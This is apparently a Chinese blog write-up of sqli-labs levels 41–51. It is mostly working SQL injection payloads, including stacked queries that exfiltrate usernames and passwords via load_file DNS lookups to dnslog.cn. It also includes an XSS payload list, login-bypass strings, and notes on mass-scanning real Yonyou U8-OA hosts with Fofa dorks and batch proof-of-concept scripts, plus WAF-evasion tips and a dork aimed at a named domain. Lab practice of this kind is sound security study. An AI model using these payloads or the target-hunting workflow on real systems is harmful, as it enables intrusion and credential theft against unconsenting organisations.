当前位置: 首页 > news >正文

SQL注入实操三(SQLilabs Less41-50)

文章目录

  • 一、sqli-labs靶场
    • 1.轮子模式总结
    • 2.Less-41 stacked Query Intiger type blind
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.堆叠注入
      • e.堆叠注入+外带注入获取表名
      • f.堆叠注入+外带注入获取列名
      • g.堆叠注入+外带注入获取表内数据
    • 3.Less-42 Stacked Query error based
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
      • g.联合注入获取数据库名
      • h.联合注入获取表名
      • i.联合注入获取列名
      • j.联合注入获取表内数据
      • k.堆叠注入获取数据库名称
    • 4.Less-43
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
      • g.联合注入+堆叠注入+外带注入获取数据库名称
      • h.联合注入+堆叠注入+外带注入获取表名称
      • i.联合注入+堆叠注入+外带注入获取列名称
      • j.联合注入+堆叠注入+外带注入获取表内数据
    • 5.Less-44
      • a.注入点判断
      • b.获取数据库名称
      • c.获取表名
      • d.获取列名
      • e.获取表内数据
    • 6.Less-45
      • a.获取数据库名称
      • b.获取表名
      • c.获取列名
      • d.获取表内数据
    • 7.Less-46
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 8.Less-47
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 9.Less-48
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 10.Less-49
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 11.Less-50
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 12.Less-51
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
  • 三、笔记
  • 四、信息收集常用端口
  • 五、常用测试xss
  • 六、SQL注入万能密码
  • 七、本次攻防演练中得到的几点经验

一、sqli-labs靶场

1.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1

2.Less-41 stacked Query Intiger type blind

a.注入点判断

发现除了输入正确的id值有显示,其他输入都没有显示
怀疑存在时间盲注
输入3 and sleep(1)试下
在这里插入图片描述

延迟1秒
输入3 and if(1=1, sleep(1),0)试下
在这里插入图片描述

还是延迟1秒
输入3 and if(1=2, sleep(1),0)
在这里插入图片描述

没有延迟
证明存在时间盲注点

b.轮子测试

轮子就是3 and if(1,sleep(1), 0)

c.获取数据库名称

测试长度
3 and if(length(database())=8,sleep(1), 0)
在这里插入图片描述

说明长度是8
爆破字母
3 and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

接下来我们直接使用堆叠注入,后面的内容略过

d.堆叠注入

3 and if(length(database())=8,sleep(1), 0);
首先查看状态
show variables like ‘%general%’;
在这里插入图片描述

使用堆叠注入修改设置
3 and if(length(database())=8,sleep(1), 0);set global general_log = on;
在这里插入图片描述在这里插入图片描述

修改成功
接下来我打算使用堆叠注入+外地注入获得更多信息

e.堆叠注入+外带注入获取表名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit2,1),‘.6bub0w.dnslog.cn\abc’));#
在这里插入图片描述在这里插入图片描述

说明可以通过堆叠注入获取列名
只是外带注入一次只能获取一个值,也不能使用group_concat

f.堆叠注入+外带注入获取列名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.6bub0w.dnslog.cn\abc’));#
在这里插入图片描述在这里插入图片描述

g.堆叠注入+外带注入获取表内数据

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select username from users where id = 8),‘.6bub0w.dnslog.cn\abc’));select load_file(concat(‘\\’,(select password from users where id = 8),‘.6bub0w.dnslog.cn\abc’));#
虽然说堆叠语句只能一个个获取数据,但是我发现它可以这样用,再加一条语句,再加一条,那样也相当于可以获取多个数据了
在这里插入图片描述在这里插入图片描述

发现没有都出来了,而且这个方法也省去了测试长度爆破的麻烦,一次性获取数据

3.Less-42 Stacked Query error based

在这里插入图片描述

又是二次注入?不是
在这里插入图片描述

因为创建用户名的入口被限制了,那只能老老实实找注入点了

a.注入点判断

发现注入点在主界面密码框
在这里插入图片描述

触发条件是单数单引号

b.轮子测试

通过报错我们开始构造轮子
报错说明id是 “id’ ‘,即有两层单引号
输入2’ and 1’ --+:near ‘’’ at line 1
输入2’and1–+:near ‘and1–+’’ at line 1
输入2’) and 1:near ‘) and 1’’ at line 1
两个引号怎么闭合不了呢

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

终于出现了,那么轮子就是
2’ and 1 and ’
由此也可以得到一个经验,看引号判断需要几个and

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

另外发现这里居然还可以用联合注入

g.联合注入获取数据库名

2’ union select 1,2,3 and’
没有报错,居然进去了
在这里插入图片描述

改成 2’ union select 1,database(),2 and’
在这里插入图片描述

直接拿到数据库名了

h.联合注入获取表名

2’ union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2 and’
在这里插入图片描述

i.联合注入获取列名

2’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),2 and’
在这里插入图片描述

j.联合注入获取表内数据

2’ union select 1,(select group_concat(username,‘:’, password) from users),2 and’
在这里插入图片描述

2’ union select 1,(select group_concat(username,‘:’, password) from users where id=4),2 and’
在这里插入图片描述

k.堆叠注入获取数据库名称

1’;select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and ';#

在这里插入图片描述

4.Less-43

a.注入点判断

还是密码框存在报错注入,输入1’报
near ‘‘1’’)’ at line 1
猜测应该是’(‘‘id’’)‘,所以轮子应该类似
2’) and 1 and (’

b.轮子测试

输入2’) and 1 and ('没有报错,估计轮子可用
在这里插入图片描述

c.获取数据库名称

2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’
在这里插入图片描述

d.获取表名

2’) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and (’
在这里插入图片描述

e.获取列名

2’) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and (’
在这里插入图片描述

f.获取表内数据

2’) and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and (’
在这里插入图片描述

g.联合注入+堆叠注入+外带注入获取数据库名称

奇怪了,这里使用堆叠注入为啥拿不到数据呢
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’));
失败
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);set global general_log = on;#
失败
1’);select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and (';#
在这里插入图片描述

分析后发现原因可能是前面的报错注入影响了后面的堆叠注入了,因为把前面的报错注入去除就正常了,这也给了我一个教训,不能贪多
但是用联合注入加堆叠注入又可以,说明就是报错注入引起的
2’) union select 1,database(),2;select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’)) ;#
在这里插入图片描述在这里插入图片描述

h.联合注入+堆叠注入+外带注入获取表名称

2’) union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

记住外带注入里不要用group_concat,要用limit去指定取哪行

i.联合注入+堆叠注入+外带注入获取列名称

2’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database()),2;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

j.联合注入+堆叠注入+外带注入获取表内数据

2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select username from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select password from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

5.Less-44

这一关没有报错提示了,看来只能用盲注

a.注入点判断

仍然是密码框存在注入

b.获取数据库名称

2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));
在这里插入图片描述

看来这个外带注入还是比较好用,特别是对盲注时,不用再爆破了

c.获取表名

2’;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.ny8562.dnslog.cn\abc’));
一次性拿多条数据了
在这里插入图片描述

d.获取列名

2’;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.ny8562.dnslog.cn\abc’)) ;
在这里插入图片描述

e.获取表内数据

2’;select load_file(concat(‘\\’,(select username from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
2’;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
在这里插入图片描述

6.Less-45

仍然是密码框注入,需要增加括号闭合

a.获取数据库名称

2’);select load_file(concat(‘\\’,(select database()),‘.xchvq5.dnslog.cn\abc’));
在这里插入图片描述

b.获取表名

2’);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.xchvq5.dnslog.cn\abc’));
在这里插入图片描述

c.获取列名

2’);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.xchvq5.dnslog.cn\abc’)) ;
在这里插入图片描述

d.获取表内数据

2’);select load_file(concat(‘\\’,(select username from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;#
在这里插入图片描述

7.Less-46

Please input parameter as SORT with numeric value

a.注入点判断

这关啥意思呢,输啥都看不到结果?
后来才知道需要将参数名设为sort,然后分别输入1,2,3结果都不同,输入4以外报错
在这里插入图片描述

输入单引号报错,但是再输入1个单引号报错不会消失
在这里插入图片描述

b.轮子测试

1 and 1#
输出正常

c.获取数据库名称

1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) #
在这里插入图片描述

d.获取表名

1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)#
在这里插入图片描述

e.获取列名

1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) #
在这里插入图片描述

f.获取表内数据

1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e)#
在这里插入图片描述

8.Less-47

a.注入点判断

这一关现在只要不输单引号发现都是这个界面,没有变化了,咋回事
在这里插入图片描述

b.轮子测试

看提示,error base single quote,指的是单引号报错,应该需要闭合
2’ and 1 and '没有错误

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

9.Less-48

a.注入点判断

这一关是盲注,只有正常与否两种状态
但是好奇怪,盲注的延迟时间怎么这么久呢
3 and if(1=1,sleep(1),0)#
在这里插入图片描述

b.轮子测试

3 and if(1=2,sleep(1), 1) and (1)#
在这里插入图片描述

有延迟,显示正确

c.获取数据库名称

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

外带获取数据库名称,记住不要把外带注入放在if里面

d.获取表名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

e.获取列名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

f.获取表内数据

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

10.Less-49

a.注入点判断

单引号出现盲注

b.轮子测试

3’ and if(1=2,sleep(1), 1) and (1) and '#
显示正常

c.获取数据库名称

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

d.获取表名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

e.获取列名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

f.获取表内数据

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

11.Less-50

a.注入点判断

加入引号发现有报错提示,直接使用报错注入

b.轮子测试

3 and if(1=1,1,0)
显示正常

c.获取数据库名称

3 and if(1=1,updatexml(1,concat(0x7e,(SELECT+database())),0x7e),0)
在这里插入图片描述

d.获取表名

3 and if(1=1,updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ,0)
在这里插入图片描述

e.获取列名

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e),0)
在这里插入图片描述

f.获取表内数据

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e),0)
在这里插入图片描述

另外发现这里还可以用堆叠注入
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.d4u0mk.dnslog.cn\abc’))
在这里插入图片描述

12.Less-51

a.注入点判断

单引号报错注入

b.轮子测试

2’ and 1 and ’

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

三、笔记

挖掘注入点
谷歌语法:inurl:“?id=”
判断ID是否为数字,可直接在参数值后面加/1 /0,若为数字加/0将报错
若确认是数字,可继续构造poc,如1/if(1,1,0) 1/if(0,1,0)
若使用1/if(1=1,1,0) 或1/if(1 like 1,1,0) 出现永恒之白,可使用1/if(1.=1,1,0) 1/if(1.=2,1,0)等继续进行测试
还可使用1/if(1.=ascii(2) ,1,0) 1/if(1.=hex(2) ,1,0) 1/if(1.=hex(schema()) ,1,0)
如果单引号被过滤,可使用 ‘xxx’ like ‘xx%’
如果截取函数substr及mid被过滤,可考虑left,right 1/if(68.hex(left(schema(),1)),1,0)(68用爆破得出)
获得第一个字母之后可以继续获取后面的字母1/if(6864.like+hex(left(schema(),2)),1,0)
if若过滤可使用case when替代

sql注入判断是否有注入的方法
除了使用单引号双引号之外还可以使用,1/2 1/1 1/0判断是否有注入
通过1 and 1=1 --+与 1 and 1=2 --+观察是否有变化后使用盲注

首先选择要挖什么漏洞
比如用友 U8 OA SQL注入漏洞
至于想找什么漏洞信息可去漏洞库找找,如
https://wiki.bylibrary.cn/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
信息收集阶段我们的主要目标是:
1、找到网上公开的漏洞POC
比如POC:
http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
2、使用找出可能存在该漏洞的IP列表
比如可以用Fofa语句:title=“用友U8-OA”,
可以使用Github开源工具Fofa-collect批量导入列表验证
POC批量验证的脚本在PeiQi文库的POC基础上进一步改写,支持批量导入IP.txt,并导出存在漏洞的URL,保存为urls.txt。
接着使用批量IP反查域名,这时候我们只需要去访问域名,就可以知道这个IP对应的公司。于是我们就可以拿着这些信息去提交漏洞了!
再次强调渗透测试点到为止,提交漏洞只需要跑出数据库名证明漏洞存在,信息安全三要素CIA时刻铭记于心
在拿到新的POC时,仅需替换POC_1()函数,代码稍加改动,就可以实现另一个漏洞的批量挖掘。

四、信息收集常用端口

http://duankou.wlphp.com/
文件共享服务端口
21,22,69,2049.139.389
远程连接服务端口
23,3389.5900,5632
Web应用服务端口
80.443.8080,8089,7001,7002,9090,4848,1352,10000
数据库服务端口
3306,1433,1521,5432,27017,27018,6379,5000
邮件服务端口
25,110,143
网络常见协议端口
53,67,68,161
特殊服务端口
2128,8068,9200,9300,11211,512,513,514,873,3690,50000

21,22,69,2049.139.389,23,3389.5900,5632,80.443.8080,8089,7001,7002,9090,4848,1352,10000,3306,1433,1521,5432,27017,27018,6379,5000,25,110,143,53,67,68,161,2128,8068,9200,9300,11211,512,513,514,873,3690,50000

五、常用测试xss

<script>console%2elog(299792458)%3c<%2fscript>
"><script>console.log(299792458)<%2fscript><"
'><script>console.log(299792458)<%2fscript>
'><script>console.log(299792458)<%2fscript><'
"""><SCRIPT>console.log("xss test")
'''><SCRIPT>console.log("xss test")'
<SCRIPT>console.log(299792458)%3b<%2fSCRIPT>
<<SCRIPT>console.log("xss test")//<</SCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT><img src%3d"1" onerror%3d"console.log(299792458)">
<img src%3d'1' onerror%3d'console.log(299792458)'
<IMG """><SCRIPT>console.log(299792458)<%2fSCRIPT>">
<IMG '''><SCRIPT>console.log(299792458)<%2fSCRIPT>'>未成功
<scri<scr<script>ipt>pt>confirm(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<scri<scr<script>ipt>pt>console.log(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<SCRI<script>PT>console.log(299792458)%3b<%2fSCR<%2fscript>IPT>
<scri<script>pt>console.log(299792458)%3b<%2fscr<%2fscript>ipt>
console.log(299792458)%3b
%3bconsole.log(299792458)%3b
'%3bconsole.log(299792458)%3b'
"%3bconsole.log(299792458)%3b"
\"%3bconsole.log(299792458)%3b%2f%2f
<SCR%00IPT>console.log(299792458)<%2fSCR%00IPT>
<SCR%2500IPT>console.log("xss test")</SCR%2500IPT>
<STYLE TYPE%3d"text%2fjavascript">console.log(299792458)%3b<%2fSTYLE>
"onmouseover%3dconsole.log(299792458)%20
"onmouseout%3dconsole.log(299792458)%20
"onmousemove%3dconsole.log(299792458)%20
" οnmοuseοver="console.log(/xss test/)
' οnmοuseοver='console.log(/xss test/)
' οnclick='console.log("xss test")
onload%3d'console.log(299792458)'
onload%3d"console.log(299792458)"
onerror%3d'console.log(299792458)'
onerror%3d"console.log(299792458)"
<IFRAME SRC%3d'f' onerror%3d'console.log(299792458)'><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d"console.log(299792458)"><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d'console.log("xss test")'></IFRAME>
'''><SCRIPT>console.log(299792458)'
"""><SCRIPT>console.log(299792458)
oonnfocus=javascripscriptt:console.log('xss test')
" oonnfocus=javascriscriptpt:console.log('xss test')>
"><a href=javascript:console.log('xss test')>xss test</a>

六、SQL注入万能密码

1‘ or 1=1–+
1‘or’1’=‘1
“or"a”="a
')or(‘a’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*

七、本次攻防演练中得到的几点经验

1、首先用wafw00f-master看网站有没有开WAF,有WAF的情况下就不要去做目录扫描了,本人试过,百分百会被封IP
2、如果开启了WAF的情况下可以使用fofa用以下方法扫敏感信息
domain=“huoyouh.com” && (host=“.admin.php” || title=“后台” || body=“管理” || body=“用户名” || body=“密码” || body=“身份证号” || body=“手机号”)
3、使用https://whatcms.org/检测网站是不是用了CMS,以及CMS版本号,据此可以到网上找对应的历史漏洞找教程进行渗透,而不需要从0开始傻傻的测

相关文章:

SQL注入实操三(SQLilabs Less41-50)

文章目录 一、sqli-labs靶场1.轮子模式总结2.Less-41 stacked Query Intiger type blinda.注入点判断b.轮子测试c.获取数据库名称d.堆叠注入e.堆叠注入外带注入获取表名f.堆叠注入外带注入获取列名g.堆叠注入外带注入获取表内数据 3.Less-42 Stacked Query error baseda.注入点…...

HOT77-买卖股票的最佳时机

leetcode原题链接&#xff1a;买卖股票的最佳时机 题目描述 给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所…...

CSS调色网有哪些

本文章转载于湖南五车教育&#xff0c;仅用于学习和讨论&#xff0c;如有侵权请联系 1、https://webgradients.com/ Wbgradients 是一个在线调整渐变色的网站 &#xff0c;可以根据你想要的调整效果&#xff0c;同时支持复制 CSS 代码&#xff0c;可以更好的与开发对接。 Wbg…...

Day10-NodeJS和NPM配置

Day10-NodeJS和NPM 一 Nodejs 1 简介 Nodejs学习中文网:https://www.nodeapp.cn/synopsis.html Nodejs的官网:https://nodejs.org/ 概念:Nodejs是JavaScript的服务端运行环境.Nodejs不是框架,也不是编程语言,就是一个运行环境. Nodejs是基于chrome V8引擎开发的一套js代码…...

线性代数 | 机器学习数学基础

前言 线性代数&#xff08;linear algebra&#xff09;是关于向量空间和线性映射的一个数学分支。它包括对线、面和子空间的研究&#xff0c;同时也涉及到所有的向量空间的一般性质。 本文主要介绍机器学习中所用到的线性代数核心基础概念&#xff0c;供读者学习阶段查漏补缺…...

Nios初体验之——Hello world!

文章目录 前言一、系统设计1、系统模块框图2、系统涉及到的模块1、时钟2、nios2_qsys3、片内存储&#xff08;onchip_rom、onchip_ram&#xff09;4、串行通信&#xff08;jtag_uart&#xff09;5、System ID&#xff08;sysid_qsys&#xff09; 二、硬件设计1、创建Qsys2、重命…...

[Linux]理解文件系统!动静态库详细制作使用!(缓冲区、inode、软硬链接、动静态库)

hello&#xff0c;大家好&#xff0c;这里是bang___bang_&#xff0c;今天来谈谈的文件系统知识&#xff0c;包含有缓冲区、inode、软硬链接、动静态库。本篇旨在分享记录知识&#xff0c;如有需要&#xff0c;希望能有所帮助。 目录 1️⃣缓冲区 &#x1f359;缓冲区的意义 …...

【Linux操作系统】Vim:提升你的编辑效率

Vim是一款功能强大的文本编辑器&#xff0c;它具有高度可定制性和灵活性&#xff0c;可以帮助程序员和文本编辑者提高编辑效率。本文将介绍Vim的基本使用方法、常用功能和一些实用技巧。 文章目录 1. Vim的基本使用方法&#xff1a;2. 常用功能&#xff1a;2.1 文件操作&#…...

Mybatis-plus 的自动填充策略

当在项目中需要对某些实体类中的公共的属性进行自动填充时&#xff0c;可以使用Mybatis-plus中的自动填充功能。 &#xff08;1&#xff09;我们可以在实体类中把要自动填充的类属性加上指定的注解TableField&#xff08;填写在上面方法时进行填充的枚举类型填充策略&#xff…...

大数据课程G2——Hbase的基本架构

文章作者邮箱:yugongshiye@sina.cn 地址:广东惠州 ▲ 本章节目的 ⚪ 掌握Hbase的基本架构; ⚪ 掌握Hbase的读写流程; ⚪ 掌握Hbase的设计与优化; 一、基本架构 1. HRegion 1. 在HBase中,会将一个表从行键方向上进行切分,切分成1个或者多个HRegion。 …...

微信小程序wx.getlocation接口权限申请总结

先附上申请通过截图 插播内容&#xff1a;可代开通&#xff0c;保证通过。wx.getLocation接口&#xff08;获取当前的地址位置&#xff09; qq&#xff1a; 308205428 如何申请 当申请微信小程序的wx.getLocation接口权限时&#xff0c;你可以…...

简单游戏截图_可控截取内容1

一个需求 我需要在场景中截取不同层级的截图(如只截模型或只截UI或只截外部相加看到的画面 或全都截或和Shader配合呈现人眼夜视仪热成像的画面切换) 将截图排到列表中&#xff0c;在场景UI中展示出来 如何做 相机要能够看到不同的画面 将当前帧画面存储下来 将存储的画面展示出…...

Vue3_02 创建Vue3.0工程

1.使用 vue-cli 创建 ## 查看 vue/cli 版本&#xff0c;确保 vue/cli 版本在4.5.0以上 vue -V 或 vue --version## 安装或升级你的 vue/cli npm install -g vue/cli## 创建 vue create vue_test## 启动 cd vue-test npm run serve 2.使用 vite 创建 什么是vite?——新一代…...

Arduino ESP 8266 ESPAsyncWebServer AsyncCallbackJsonWebHandler

